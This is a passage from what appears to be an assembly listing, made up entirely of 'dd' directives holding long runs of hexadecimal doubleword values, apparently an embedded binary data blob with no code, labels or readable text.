0AB93BD18h, 190F690h, 5D359D37h, 20737707h dd 0F1001A20h, 4A6E2A7Ch, 7F88A8E3h, 5BB8167Fh, 1614016Dh dd 0ECB7CFB9h, 0AC3EA439h, 33CA0035h, 0CD4D56DAh, 7B430049h dd 6C02B2ECh, 0E6028110h, 4A24AED7h, 4AC85021h, 5D600107h dd 2C12596Ch, 0BB1E0020h, 732C5AB0h, 2A461771h, 0EE1D0753h dd 83F8D07Bh, 630058C0h, 83F2C15h, 2B17032h, 47BCB61Bh dd 0E86297A3h, 4345CAC0h, 0EEDF5A0Fh, 9330201Eh, 1E12EF95h dd 40BE8C5Eh, 0CB2F7331h, 9E009F15h, 0CCE96CDh, 17C8F319h dd 34454E6h, 30DD7780h, 9BA15CA8h, 85B73C07h, 0E6D017E0h dd 123340h, 0ED9FE884h, 35EF535Fh, 881C2400h, 1B561D75h dd 763E0F39h, 8D079C7Bh, 0B440801Eh, 241E2F79h, 74002A70h dd 0F15AC8C0h, 717853h, 0E3CBE68Fh, 5270199Fh, 439AF500h dd 0EA0AF8D4h, 5850E5Ah, 0DFE06555h, 0FA2AC5F3h, 8986831Fh dd 2C0BB300h, 7ADCBA1h, 0BAC74884h, 44A75071h, 0FF0F87D3h dd 0B27E02h, 36D2C5F4h, 0B79C0043h, 78E36084h, 2A00689Eh dd 23B19F83h, 9170E9h, 35DD1F2h, 5B15425Ch, 0EDE8407Ch dd 6B1F4170h, 0FB8F2C38h, 3D109807h, 0FC3C3831h, 45002644h dd 0E8CF4E30h, 3B7176C8h, 0B80282Ch, 18311C1Fh, 3302F994h dd 81082189h, 13ECE029h, 0DD6509A1h, 0A900DBEFh, 888DE686h dd 0A04AD400h, 7352B10Dh, 0BBB1D75h, 633C05Eh, 0D534B9C4h dd 2081CA00h, 0D3FCA129h, 10210EE3h, 0F5E60596h, 0C400F8ECh dd 0C9F3A56Bh, 1C1E4D9h, 1285262Dh, 0C44EA13Ah, 0BEEC4793h dd 8143AC00h, 83188CDh, 0B40C1C2Bh, 0EAFAC014h, 51A6A3E7h dd 0A4987700h, 1C29838Fh, 0DD0800DFh, 6F1B65Eh, 0EF3C1039h dd 1AB5072Dh, 0F920C7FEh, 0A4E50Ah, 0DAD503C2h, 4704BE14h dd 68E9F81Eh, 0C3C0451Eh, 0D7F4C93Eh, 1E1B0001h, 3F7C2E56h dd 90048E3h, 8ACAEBEDh, 7D9EDE31h, 18E1020Bh, 91D01A29h dd 0C2009FF0h, 0BBA75FBFh, 5343C8h, 2D05A8DBh, 0B7C617B2h dd 7DF7B812h, 0A1E2EA01h, 0BE606D64h, 74AB0FF5h, 0B9807577h dd 520FB66h, 0C3A851Fh, 33E8EF40h, 0B88490D5h, 7BA33970h dd 0A56C1607h, 0E95AC01Ch, 13008223h, 923E5294h, 1660BAh dd 40EA6A89h, 1AD03984h, 4B17D900h, 0AF3537E6h, 6D0500E4h dd 7D89E767h, 0E500D724h, 8AC6192Ah, 0E4436Ah, 0C821204h dd 0E1A756ECh, 6B07D700h, 38EB09E0h, 3AFAC4h, 59D035FCh dd 0CAA133D9h, 69DBD50Eh, 946E1F1Bh, 0EB76E00h, 0F3A5E61h dd 0EFE930E7h, 8D898020h, 0A100B814h, 10D88E73h, 718CF6Fh dd 3B0FED44h, 660AF0F4h, 1D5CF523h, 0C2700E1Ch, 74CE405Bh dd 0C49360h, 0B36BE048h, 0FD09BB12h, 33B03400h, 9BE76A46h dd 7AA6E2C6h, 0E58800C2h, 9115830Ah, 740075BAh, 0CFD59CADh dd 1C31202Dh, 52F6A196h, 9A1F18h, 6F08B70Bh, 6C008AC0h dd 0D66E7D5Bh, 0AB3CDEh, 0B2FCE39Bh, 884E0E91h, 26B50B00h dd 806A7537h, 1CC03EDCh, 7E298480h, 5106773Bh, 658B5507h dd 0F860B77Ah, 718FF06Fh, 57CD00D4h, 0F5B945Dh, 7A003463h dd 0C95ACF02h, 0FD81F0h, 9BF22C91h, 483F9C08h, 0BE35961Dh dd 22BB5140h, 0DEE113h, 0C9F6FD9Fh, 4B24A595h, 9750040Fh dd 94A8A00Fh, 0F50609h, 0B0F3D45Dh, 1C843B40h, 9CE20507h dd 27E7EE81h, 0BCD522C0h, 8F1A0318h, 15B86A3Eh, 0A2CA63D8h dd 5C0D3B00h, 0F2629E07h, 0AA51005Dh, 864730Bh, 66000E61h dd 0C27D5481h, 0A05EE6h, 0EFA7271Dh, 0BE8AE365h, 66D35C01h dd 691B718Bh, 0D6490DFh, 3F52C0B2h, 0AA2E7EA9h, 0C8213D00h dd 0E07D8D12h, 0DCD60064h, 7BA9F097h, 72267487h, 5C0008CEh dd 9F322CB7h, 66A40279h, 28CAF9DFh, 52DC0068h, 0A65DBC3Dh dd 80004840h, 192F41Bh, 12950571h, 0E55A1B6h, 0C0C099EEh dd 7FF1B3BBh, 899E2D3Ah, 0A3F9E8C7h, 0C450D7F0h, 0DA41FDC0h dd 51D300DBh, 4F830EABh, 8D00E46Fh, 0C19C6C33h, 0C01BB9AEh dd 46AA2481h, 581271B4h, 0E3032B5Eh, 0F0E86F8h, 782A0320h dd 110AEF06h, 0CA002278h, 0AB83F9B8h, 9EAE6Dh, 61046E06h dd 0D0B6598Fh, 3D1A5000h, 0A52464E2h, 8DA03A8Bh, 0B79AC683h dd 780E5853h, 273BD91Fh, 5B405F9Fh, 1F94670Eh, 0EF9C4Eh dd 317813DAh, 7E03A599h, 611B7473h, 228CC89Fh, 34AFCC9h dd 0A46C3BE8h, 5000DB1Fh, 0FB3FCA1Ch, 0F8D461D7h, 0D20CA0A2h dd 632200F4h, 39E82E84h, 6E00C2A3h, 3DAC23ABh, 0B4CCD6Ch dd 0A5C75F73h, 35E23F00h, 7F00AB61h, 0FF299051h, 741F5EBh dd 64EA3909h, 70A3B083h dd 250060A0h, 264EFF2Dh, 5E613h, 0CF4787C7h, 41B404D1h dd 33F4C3Ch, 403C2BBEh, 0FC9CF8B7h, 7CE639h, 0F8682CEBh dd 0CD6165D8h, 0E917E200h, 440F02A1h, 83DA1F80h, 75D74069h dd 55A82272h, 9D162C00h, 91BCAECh, 0E9A00354h, 85A6F8F5h dd 0ED193BF8h, 0A800D77Bh, 0A86FA74h, 7CBFA42Eh, 0BE00EDFh dd 0F5819281h, 30EC8F3Dh, 513925EEh, 0ABABE5Dh, 0D0E73C99h dd 0F44680BAh, 3DA3D90Dh, 9C613F20h, 0E04D30F4h, 1DAB2320h dd 0CA05D27Eh, 0EF2C6CCEh, 9590E000h, 285E0F81h, 28F309FDh dd 0C43752h, 8A5F913Fh, 58FF6B61h, 749B6438h, 0A5D4EE54h dd 340066F8h, 7C57FC37h, 70BD460h, 0E41963BEh, 38C6A041h dd 4E00F074h, 15ECDD62h, 5C675E13h, 3C03A4A2h, 0EFE164C6h dd 14F2217Ah, 1CD15E66h, 34102190h, 455F8681h, 19C2A361h dd 6CA010DAh, 99F50066h, 0C07FA725h, 0D90052CFh, 8C38D660h dd 0EABE1E2h, 25473908h, 0C39EB6Ch, 0C7A29700h, 0E0636905h dd 0E20300C6h, 0A9AAE70Bh, 0FB01E90Fh, 0DD236455h, 0B08730ACh dd 8326E3C1h, 1000315Ch, 0FE6AA39Eh, 2BC349h, 83162DA5h dd 0CCDE8A3Bh, 82683Dh, 0AD28F8Eh, 7BA3EADh, 67E589A4h dd 240E815Fh, 4C53E8FFh, 608BDF39h, 74997C4Eh, 8D9D0307h dd 75AE2DB9h, 8744C5C8h, 0EC98C000h, 0E4477CB6h, 52293063h dd 3F9B9740h, 6A4C5F00h, 575654C7h, 2F21F93h, 0B24B4B3Dh dd 97282F80h, 0F9008BFDh, 0E3A95AB1h, 309EF02h, 0F1483D41h dd 4000F408h, 0B25C5753h, 0BF1D80h, 22AEEC0Bh, 0F4441438h dd 1EC2BE1Dh, 7C8B18C0h, 1FF11316h, 43F080FCh, 0FD33CCAAh dd 871D4CF8h, 0D2606362h, 28AE607Bh, 0F180F585h, 0F5589F31h dd 790124FAh, 7B9C672Dh, 0A88FCF66h, 228C3213h, 85187CD0h dd 7F180CFFh, 0E8C80188h, 739BA8D8h, 98CD103Eh, 0F79750Fh dd 82D51E9Dh, 2258CE01h, 4CD0806Eh, 0C04BF054h, 60930341h dd 77CB9AA8h, 0D8DD03C1h, 87005F65h, 63756195h, 0F815285h dd 408FC5C3h, 2DC0E3E0h, 49386CABh, 993800B3h, 6A61D55Ah dd 0C6E83Ch, 5C04322Fh, 0DEBDF0A3h, 7E1D8C3Ch, 18B8516h dd 0B4285700h, 0E0B13A96h, 0C4F8EB27h, 265A007Fh, 0E43EDE46h dd 7400286Dh, 3FD076AEh, 7668BA7Bh, 99290043h, 4C58A296h dd 0D4092E5Eh, 69654Dh, 661E20E8h, 0EE530099h, 0B812DBBh dd 3E03A964h, 41D7D6EAh, 0AFAAC0B6h, 3C9F7B8Fh, 3F00D129h dd 0ACA55FC0h, 59551C69h, 4B0E680h, 2F3E3271h, 0B5FD1460h dd 3C5B00B2h, 59AE5154h, 43BB057Ch, 0C0716265h, 0FD480E1Bh dd 9F63DD18h, 8852E828h, 0F886C1Fh, 0C85D8827h, 84DC9340h dd 424AB522h, 66F918E3h, 8A549051h, 2921DEC3h, 1F3C3817h dd 843C21FAh, 9039A008h, 2667844Bh, 0AC421848h, 211F241Bh dd 0CC12226Ah, 1EF05082h, 0B0403324h, 691674A5h, 0F6D48200h dd 0E37322ADh, 7AAF08Dh, 1BB03CA0h, 0FA00EF1Eh, 70F66751h dd 1348C900h, 0F17A5209h, 2FEF0003h, 8AA6F4CEh, 0D6011C77h dd 44203419h, 2CD00C72h, 0A97171h, 7B60E554h, 128A110h dd 64BD3650h, 1A3E3B07h, 6ED0BA5Eh, 3A5477B6h, 0FC00B541h dd 0A11EE433h, 3600AB13h, 340F310h, 35A9863h, 37725FD4h dd 33F86DDEh, 0AF606F7Bh, 0D70CCB29h, 0E5730065h, 0E8E40735h dd 0E00E21DBh, 971F67Ah, 0CE1420CCh, 762DED56h, 13F40034h dd 0D812E008h, 0E701BD49h, 7BADDFA8h, 588197FAh, 0F1C53CDBh dd 9D2DF093h, 65F68100h, 0E5724667h, 0C82C0099h, 4DA3411h dd 0A903D98Eh, 57F85B7Ah, 4D700064h, 6F2445CFh, 0C3E013CEh dd 180A203h, 0A8C18742h, 0F04FB3h, 2D3129E1h, 738D5BBDh dd 0A1FFB800h, 28EC3A69h, 27A40041h, 0B2BDFDDAh, 240065A6h dd 0B816A20Ch, 764B15F2h, 90E70076h, 19579F67h, 271FED2Bh dd 77805EA9h, 0F7669EECh, 87F40099h, 54753EACh, 2F1C5DC0h dd 9185A713h, 0A580CFADh, 79F1639h, 0BC7689F3h, 60AA2768h dd 5AD0F7C1h, 0C26B404h, 0B8807A62h, 7D3263C6h, 0E03D1F7Bh dd 0E978C7CDh, 4A59F02Eh, 9106B564h, 989F71DCh, 45E20068h dd 0AC8C10C0h, 18000ADAh, 0B9FBF367h, 0BD2983h, 0AE77A4F0h dd 0DD658E7h, 9A000AE2h, 0A894E5D7h, 7D3D2DBEh, 731803E9h dd 1AC6C0A6h, 8EBB4790h, 0F400C971h, 314ABE93h, 0A54DB6h dd 98131ADEh, 0D638E1E5h, 5503F77Eh, 0D7B181FEh, 0D00CF39Fh dd 1A2FCAC5h, 304D2271h, 0A3F00881h, 0A460D0ACh, 6CF6D500h dd 0E425B1ABh, 0C8203062h, 4FE84610h, 38BF7E00h, 0FDE2CC03h dd 0BE700041h, 431D3116h, 7600E5F2h, 19BF1BECh, 4CD24F2Ah dd 0E100585Ah, 2D0B3D32h, 4C00319Fh, 8F79A309h, 123D356h dd 0DA7A10D4h, 0E0E120FFh, 1001AD8h, 0B882FB96h, 60B46D11h dd 3714D81Eh, 6149308h, 1886531h, 0D52B8A90h, 4BE82810h dd 0B4490047h, 69F646F9h, 82008B1Dh, 0C5A12EFFh, 0D36D66h dd 0C48C086Ch, 0A96F1BB5h, 4085D11Fh, 7513B200h, 0F59E51h dd 70D9E4DDh, 59BDF760h, 4500B6ECh, 33D1403Fh, 175D67Dh dd 898B9FECh, 0FC0FCB74h, 16003223h, 37D2888Ah, 3A6A40h dd 9A39471Fh, 80B13DA6h, 3B76FF00h, 0F4880809h, 227FA95h dd 0EACECF20h, 0D84087FEh, 59E49DECh, 0E700827Ch, 0F278EFB9h dd 0C1DF8Ch, 67ED73E9h, 0C0BA8AD9h, 3D070D00h, 0A515C238h dd 1CD47F81h, 3CBD2544h, 2D3F8600h, 311CA177h, 0B6099300h dd 1FF0C23Ch, 2B5800DEh, 0B23EC355h, 0FF046CE2h, 0C2083848h dd 9943E090h, 884C285Eh, 666838C8h, 0FC57F481h, 0E4735C5Ah dd 8C03E436h, 11259535h, 0DD7CB8A2h, 0A8900098h, 7A15C948h dd 1900D53Fh, 0DB035123h, 1E83EAAFh, 0EAE4388h, 81BF26C7h dd 789E936Eh, 0A6CC8080h, 0D804975Ah, 21AE009Ah, 0A7B92842h dd 0CF00DBF5h, 4F7F3CE9h, 58EC366h, 260E8DCBh, 19FC0014h dd 0F281F11Ch, 0D325400h, 82D12A5Dh, 0A2080026h, 0B2D6E59Eh dd 0E900F855h, 15CAF910h, 2DB73034h, 0F9C09B67h, 0B91D8338h dd 0C140D971h, 0F7D1FC7h, 368B80Dh, 0F35C03D2h, 32C8E217h dd 0B10056D1h, 33D447C2h, 32FB644h, 727BB9A1h, 50A028C4h dd 0DE1287C3h, 5D02BAF6h, 4290D039h, 0AE28407Eh, 731A005Bh dd 0C5AF9406h, 4C1EB0BCh, 0F100F0A6h, 0B881EBBh, 0A0987C09h dd 8DEB9Eh, 34B4F8A8h, 90C3D2C7h, 6BFA43F8h, 521325EEh dd 280E2188h, 64756040h, 309B2Dh, 926214EDh, 0A428A902h dd 0B9F1E005h, 70803E77h, 795A8A21h, 0BDE6A6h, 158C42A2h dd 7961EEC6h, 106B0D00h, 2D962882h, 10F060E8h, 2A3E5C02h dd 0F3130A0Eh, 8022AB5Bh, 28C36544h, 233F05B0h, 2BAED2Dh dd 84E90EECh, 0E27759C0h, 1C0066EAh, 9A6BFD15h, 87DB8Dh dd 4BECAB40h, 0BE6AD0C7h, 360159E8h, 20288E8Fh, 0FA47C564h dd 0D7D81420h, 0BD3300D3h, 1FAA0D8Ch, 800FD04h, 57CCD4A7h dd 0DCA4EBh, 0D3C2C39Ah, 0AF69944Bh, 32B66F00h, 456E1E90h dd 0BFA1077Ch, 8F714199h, 0D0BEEB27h, 6B9243Bh, 0AFBA3Ch dd 0C3D96125h, 7529CE0h, 7FC1219Fh, 208AF00Ch, 0A00C410h dd 0BC862C06h, 9008D028h, 39E60E00h, 0C9C07803h, 375679DCh dd 0E5FA3C01h, 0EB6AB354h, 3E0E8FD8h, 7E00AAB2h, 257AD5F1h dd 0D13E0ABh, 0B900CE62h, 53C3877Dh, 99110091h, 0F92D4542h dd 0D8008EE6h, 0FF4386D3h, 598072h, 0FD6ED753h, 33F49722h dd 99363D00h, 0DB5E4B3Eh dd 852000A4h, 0E8A0ED3Ch, 5A00FF1Bh, 681DF6ADh, 3A63579h dd 65DC3F2Ah, 0FDB1D7D3h, 1010804Eh, 705D8AAAh, 75D900BDh dd 6DA71A08h, 37000D52h, 91725BA4h, 2C844AA0h, 911EF2h dd 20BD7A8Fh, 240240F6h, 766DB0E9h, 9D626105h, 21C26D0h dd 981174B2h, 0D0809CCBh, 3A0601C6h, 0B4736E00h, 4D518B8Ch dd 74290089h, 1775A2EEh, 100F018h, 8499C852h, 0F7B40Ah dd 49DED6CDh, 7DC72DBBh, 0D1DA3Dh, 84F2904h, 0E20F11h dd 53E43CB1h, 0BC929307h, 2181BA00h, 0ABE166D0h, 772700DCh dd 5218FB6Bh, 8B0025B8h, 8445D5CDh, 8772C3h, 0F3F80A98h dd 5DEEDDBh, 0A9363Ch, 5688A70Fh, 5C212E60h, 1700120Ch dd 43FF29B7h, 1D00CD90h, 0FD38DBBAh, 0F6B4F69h, 0F0313560h dd 7626829Ch, 0BEE01581h, 0C80011E2h, 3CA30733h, 38089814h dd 1E803206h, 69375E4Dh, 0DD0046F8h, 9BC12BB6h, 262098h dd 88EBFB8Ch, 0A3B16D31h, 1B1C3Dh, 0F3CD4D46h, 0C27FC6h dd 53AE4E72h, 0B8E1E78Ah, 3F01291Eh, 1BE68B8Fh, 0AD408850h dd 52A3092Fh, 0B700FBC9h, 5B6605BFh, 44213800h, 5DCAD309h dd 0EB03005Eh, 3E8857B7h, 0CF005C3Bh, 83908CEEh, 0E3593C4h dd 0A85D640Ch, 0DD808BAEh, 4A34D5DAh, 12F37095h, 662367h dd 79929068h, 0A9009C39h, 73A4466Eh, 1FFB8F43h, 86D77D0Dh dd 108EFE6Dh, 0A6D31E06h, 1212ECEh, 9E129A11h, 20257E75h dd 0DE0086E4h, 5FEFED03h, 4D9B1Bh, 1CAF38D6h, 90548D87h dd 0D5E24500h, 23364F0Bh, 583F008Fh, 0D9834662h, 0E70305EDh dd 0A060BE26h, 771FB870h, 50E824BCh, 88B80154h, 7F7E18h dd 726142h, 10584CE2h, 0B975EA85h, 6135D526h, 7F322A00h dd 8BD884h, 0EF165495h, 1A9BBFCAh, 493ACD00h, 4BF6BDE7h dd 89A00414h, 90D6856Fh, 0FD2E3654h, 39B34884h, 0AD603F30h dd 2900726Ch, 0E3E1A1C0h, 62FBC8h, 0F21EC9Eh, 65EA898Dh dd 667EACA0h, 83944554h, 40789D02h, 32B17Ch, 0A321ADA9h dd 5DF9080Fh, 5045C2FDh, 0F0C8C0A5h, 0C1C41EA1h, 81B50036h dd 6B31B43Ch, 7A01E67Ch, 644E8C07h, 0C3C4B238h, 8F16051h dd 29E4BAC2h, 42235A01h, 9B0FC48h, 0C01CC3FBh, 766B0252h dd 97100032h, 0E6FE4C2Eh, 8C1CF7F2h, 0B180B512h, 564EC11Eh dd 0E1A805CCh, 41DFD4D9h, 5F63E88h, 4CDC23E5h, 0CA1600CFh dd 0BFB3A179h, 2880028h, 0F873A6F4h, 3026486h, 9A58A48Ch dd 2EF18007h, 7563430h, 1C09B75h, 0EB71724Eh, 0A413EC48h dd 7303677Ch, 0AE12E590h, 0A347B2A0h, 0C83EE6A0h, 90C8C0D7h dd 0C4FD03A4h, 63BE210Ch, 0E698A4D0h, 355A9000h, 0D8EFF644h dd 2B680026h, 75DCB596h, 3304044Eh, 71A53E17h, 0D83CE980h dd 17C9FA30h, 97251Ch, 2AFFD00Dh, 453DE73Eh, 0EDF680E9h dd 714F86F1h, 4AE400B0h, 0C45E0B75h, 940958DBh, 819AEE64h dd 82992974h, 8C37DCh, 0CD704F08h, 8D5BB328h, 5DC8FF1Fh dd 85E21B43h, 499F90ECh, 4DCD7FF9h, 414C78D5h, 0AB3FB200h dd 48CA8718h, 7A8D1C12h, 0E08B240Eh, 5BDBE135h, 1E817B15h dd 7C7C2046h, 983B0707h, 99F3051h, 6F004AF5h, 0CE45BC0Ch dd 59226F1h, 214C9336h, 0C944805Dh, 0E52C82A0h, 51C3841h dd 0A8009113h, 0B9C76ABFh, 2F220F76h, 48E05EBEh, 810FD83Fh dd 63BF4600h, 0E8340C9Ch, 892E0353h, 52C24403h, 0B5C710B0h dd 6A83C800h, 0EB5C7CE1h, 0EF500186h, 8BDA3CC9h, 0C2C8806Fh dd 7824EDC0h, 0BB643D72h, 0C7A8B40Ah, 0C51B04E8h, 8F2D4029h dd 0E4367197h, 0DA993C92h, 131E5000h, 95BACDDCh, 654E6100h dd 23CB740Bh, 64510058h, 1490F837h, 0B0009578h, 7032B5ACh dd 0B8A90Ch, 659FAB60h, 371B514Bh, 0F057900h, 32A2E813h dd 58C70036h, 4221E5EFh, 0C830E944h, 27346C81h, 2530743h dd 0E0EA7DD7h, 91AF0358h, 0C171CE12h, 0B415C00h, 0E379640Dh dd 0F5782FCh, 0A862F6FCh, 54ACC73Ch, 0AFB5906Dh, 0FF70B29Ch dd 80BF113Ch, 0DA09741Fh, 0C5012Bh, 665F6733h, 0DDB9B6AAh dd 8561F000h, 0F418B1AFh, 0C786A0A8h, 6294013Bh, 0EB67C215h dd 7059C9DCh, 0E500220Ch, 746EB590h, 7F89B1h, 37077BFCh dd 0CE0BB614h, 0D9A00EF0h, 9971CC29h, 0D7AC3D00h, 1E4F5875h dd 423000FAh, 0DC709FDh, 0E5007D7Ch, 399FD8A2h, 50775CDAh dd 36FE086h, 5AE4795Bh, 0E802EAFh, 0E6E28F02h, 706DF0Ah dd 5604F473h, 0DC902674h, 175CE29Ch, 8C4B41h, 0AA3FE095h dd 60BACB95h, 2100567Dh, 0BECD9EF7h, 1D43D516h, 81899088h dd 0F4F9E4DEh, 505FCCB5h, 1D7F2E00h, 0F814866Dh, 0BEA91D31h dd 9F810077h, 9062304Fh, 24712800h, 7F2383A2h, 0B8A50089h dd 9BB901EFh, 5D00756Fh, 57F07788h, 14A89303h, 0E4C50E6Dh dd 25BF017Dh, 53FD3580h, 3370FC5Eh, 79447F3Ch, 716D6714h dd 6FAC07F0h, 83FBEFFCh, 0A83BA804h, 37BEF5h, 96A3F94Ch dd 8F55826Bh, 0E4DE0128h, 0AA326910h, 0B9455081h, 0DBEBE0E3h dd 3CD97400h, 6A727735h, 0B5D7007Ch, 0DF31B0F3h, 0F112EE58h dd 550B0D34h, 9CE003BBh, 32FDF1D3h, 90959DCh, 79F3AF9Bh dd 5B30B020h, 0D0C1C750h, 46AD32FFh, 0B4AC31FDh, 6F42FD1h dd 0BCCC9202h, 0C1D0A082h, 0F178A38h, 3C30EB78h, 87C634A4h dd 6F9380C5h, 3218DD96h, 62591644h, 0AADE0077h, 0D794B675h dd 173EF4E5h, 660A803Ah, 0A4EF2328h, 0DDDC03DAh, 0B352D67Fh dd 392AAFE8h, 5D33B2F4h, 0C0F368D5h, 39F2DACh, 0B55813CBh dd 90A08255h, 0B962BD99h, 4224EFA1h, 0F70C4051h, 26AB0298h dd 2D6CE7Fh, 95706840h, 7321D767h, 426080FBh, 94EDDE4h dd 0DA570721h, 0F7BF3400h, 87005E43h, 7839B784h, 5D5D252Dh dd 1D00988Dh, 930C59F7h, 0F604243Ch, 36CE3BBEh, 0A623A380h dd 49460060h, 7F31672Ch, 0BE07B190h, 91E90EA3h, 0BB865E20h dd 7AF700D2h, 448A251Eh, 66FC06CAh, 8B003175h, 8F2036Ch dd 0AA14C29h, 531609ACh, 3CBF00E0h, 4DF17AC8h, 9520E7E6h dd 0B76502C3h, 751D9B08h, 8CBE2060h, 4C96191Eh, 0F8BFE607h dd 0D3C11137h, 4860B749h, 1CB200B1h, 237C3C04h, 0C700B8E0h dd 554FBB2Ch, 4826BADEh, 0B10048E3h, 0F4154DB4h, 3E00B363h dd 8625CAA6h, 44F32Fh, 0CB83B043h, 0C5F67FDFh, 5800ECECh dd 6B6489A6h, 4893AC44h, 690194F5h, 28293E3Ah, 0A6F1C0DEh dd 70388400h, 2BCA64E3h, 0F48200AEh, 0F88B85E0h, 0AD7E2599h dd 4D177E05h, 0F0006F20h, 31B332FEh, 0C6E1484Ah, 4E95BB07h dd 88EEB063h, 5F120D7Ch, 0FA0FC6A0h, 4330EF27h, 0B554D5CDh dd 8B779440h, 0BF6158h, 1E5EA366h, 4F7B148Eh, 6E092300h dd 0E2080701h, 0ADD0027h, 5E583BABh, 0B4076AD9h, 534F5968h dd 0ED54C7A0h, 793200E0h, 75FD943Dh, 0DCB89366h, 1B5DF201h dd 55484C3Fh, 0B1AA3089h, 0CED100A0h, 0F42C4BFBh, 58016489h dd 5A7FAD2Fh, 0AA23C0E6h, 2795071Dh, 0E0C391C5h, 0A2BFB62h dd 9E2AC200h, 88C6FA30h, 0CB37F809h, 3182D828h, 10E0A4EBh dd 0F1005CD1h, 31B25A68h, 7647C6C7h, 4DA0AFFh, 0BC91C9h dd 0DFC220C0h, 0FE00B8ECh, 83381B7Ah, 5CA0B93Ah, 39019276h dd 0CABB4279h, 46688026h, 0F3B70D13h, 3A43018Bh, 0A2409CA7h dd 6485CC1Ah, 0CAD63F01h, 25D45E0Eh, 1E042EFCh, 0A3EF63h dd 0E1221411h, 5F07D75Ch, 4DB31C24h, 0EEA9C931h, 0EDA55C4h dd 45AB4D6h, 6EBC3DC0h dd 1A70CC48h, 41EF8C07h, 80ABE143h, 22966B3Fh, 518413FFh dd 953D0C17h, 0EE006110h, 2569941Fh, 7FE78E75h, 0D6930050h dd 23667216h, 0D49A3FF1h, 0C777D900h, 4CF7EA51h, 2E54B2A8h dd 0CCC9E4h, 5A31A2EDh, 921C1DFCh, 8FC019CBh, 0F1873F6Fh dd 0A4758Bh, 0FD77687Eh, 23010C9h, 263C6638h, 8001F14h dd 0F4289C3Bh, 0C7230BBEh, 0A48727F5h, 211EB31Bh, 5A518BE0h dd 7A584A00h, 0E7102A6Bh, 2EB335EAh, 0D5500098h, 274C660Bh dd 0C0A87E4Fh, 0E3F39D00h, 0C573F21Dh, 0AC2A8901h, 82FAA249h dd 5130B1D1h, 0B52E1F9Dh, 1FAF0E15h, 64316CE0h, 6B00C763h dd 0FD8FA469h, 0E3C2EFEh, 32D8791Dh, 0FA3AB7C0h, 4B3CEF15h dd 0AEDC9DEBh, 4045120Fh, 0CD97CB71h, 23500010h, 1D41DB54h dd 0AA01B3C1h, 0E1569506h, 0DCEC78C2h, 132F01B6h, 907117F5h dd 0BAF7C045h, 37BFF90Bh, 0F2FD8E7Dh, 1486C00h, 2CAF60h dd 55AE4FF0h, 9E869746h, 979D4439h, 0B4007D70h, 0AD15A80Ch dd 2F260050h, 0D6D0DAB4h, 0BA0F3EDFh, 1D4CDDh, 0A8950146h dd 0A4C54856h, 0C3C9A200h, 63EDBFAEh, 4E9F0F03h, 0C1DABC06h dd 0BBFCC011h, 42B50E75h, 9EE06D4Bh, 86B26319h, 8A00BF70h dd 0D77620CCh, 0E30281h, 34DBDFC0h, 78D83A94h, 82E251ECh dd 877EED3Ch, 0AEAF6569h, 9FDE24A0h, 0F0450052h, 3B6E79Ah dd 2CF2B38Eh, 26DB0F30h, 2438D390h, 18D40C8h, 7DA14BEEh dd 2A0C303Dh, 0A02B2C00h, 24297E43h, 0AB970D25h, 0E421F736h dd 7A00A54Bh, 3090A4FAh, 0C3C6CDC0h, 36E86FF0h, 972884F0h dd 0E440F44Eh, 179BF1CCh, 87B62C0Dh, 569E009Ch, 1A40341Bh dd 8805B102h, 4898392Dh, 0C7D154h, 0B69B0E16h, 0D9FE0167h dd 39E05939h, 3AE780A5h, 0BCCD78ACh, 0AFE5006Ah, 0DF730BCCh dd 1700890Fh, 4BE0A8A0h, 35925Eh, 71DA54EBh, 335B10E8h dd 12B23900h, 8A5E7A23h, 9EB90183h, 0ABEBA45h, 7177F4F3h dd 0E59FCC00h, 0C8D36094h, 6D6A00D2h, 2EE43410h, 0D5022009h dd 46866336h, 0C6C0777Bh, 5F1365D9h, 6E0E31B4h, 4B001780h dd 0C0602D25h, 42CF0035h, 6D7ADB46h, 0DC004C70h, 16C48751h dd 7A76D766h, 0C11C586Fh, 9201CF3Ch, 29122F03h, 91C024C2h dd 0B439BB00h, 925AA609h, 276C00A7h, 7CA938B3h, 5D01A175h dd 6B8085ECh, 0B870CBF0h, 0CFA5004Fh, 5BCA10C4h, 0B9007CD0h dd 7A766FAAh, 0B06D7543h, 29151CA4h, 4889C086h, 6C45AACh dd 6E565D00h, 1EAF4A30h, 63690188h, 74A5D610h, 287BD281h dd 1FAA8A81h, 0DCDC4F54h, 88E8001Eh, 4427C519h, 730160CBh dd 25B3D4E2h, 2FCC9BA8h, 247A0036h, 99111F61h, 390063DBh dd 9B509C8Ch, 527C468h, 87845CF9h, 1275C017h, 0DAF2DD24h dd 4ED58001h, 3C312C3Dh, 8D1DE8h, 2AE59818h, 0D1101C1Fh dd 6D7BFC00h, 21192340h, 7D7898F6h, 376000CFh, 0D717D36Bh dd 400BEFCh, 8B3896C0h, 3B2150AEh, 0A380E252h, 346E07B2h dd 2000D778h, 3DBBCEF7h, 73CA715h, 0C3FEA99Ch, 0B442F090h dd 99001D33h, 922F39E1h, 0DB6D07h, 4B689789h, 62B3524Eh dd 0F4EADF01h, 0B517DD05h, 0A2E30h, 747016B6h, 916CA521h dd 203DF4CFh, 2DF873Ah, 0DBB500F4h, 5971AEBFh, 0E31232B6h dd 0B4008A74h, 7E26987h, 2C431794h, 0B05820C4h, 0AB382AFCh dd 260CBC31h, 0B500108Dh, 0FF983392h, 485A78h, 5A2637ACh dd 88008B6Bh, 41F8B1AFh, 0BA850894h, 0B5E648h, 0D8FE839Bh dd 1F271AC6h, 0A903B006h, 0C0202848h, 0C8E10288h, 277156E7h dd 28F043Ah, 0ABBB0393h, 992484BEh, 4BC6C803h, 1FA03883h dd 0AD982B06h, 82DF660Ch, 0EEF9508Fh, 65AC2C27h, 0F1E93011h dd 0D0000399h, 1A7C96FFh, 31F51E7Fh, 42219AC6h, 1AFDF33h dd 40C1F25Fh, 66FF0A0Ch, 1C2FE58h, 231781BEh, 80F60BC3h dd 8EBC5F70h, 75F60Dh, 21C4FD0Ch, 0BAA3CEC7h, 3589B412h dd 42E38C00h, 0EFD2D9h, 7EEBF661h, 0C7AC1608h, 0C0395F00h dd 4AC5691Fh, 0A1EE52h, 7E4D0750h, 0A880BA3h, 0B1EFFC01h dd 70B33EC3h, 0C280F4h, 0F9F29964h, 0EF89334Fh, 0DDB81A00h dd 7B58DCC1h, 0ABAF007Eh, 73FEDA0Dh, 0E51FB7A2h, 5A00C5BCh dd 1227C6B4h, 0B62A00D5h, 8A3BA522h, 0FA058C0Ah, 885D601Eh dd 8B00A412h, 9EFFBEADh, 0ED7C3Bh, 2FD117A3h, 533388C4h dd 82214800h, 2CBA5538h, 259D0EB8h, 0EFA0A647h, 7631C5FDh dd 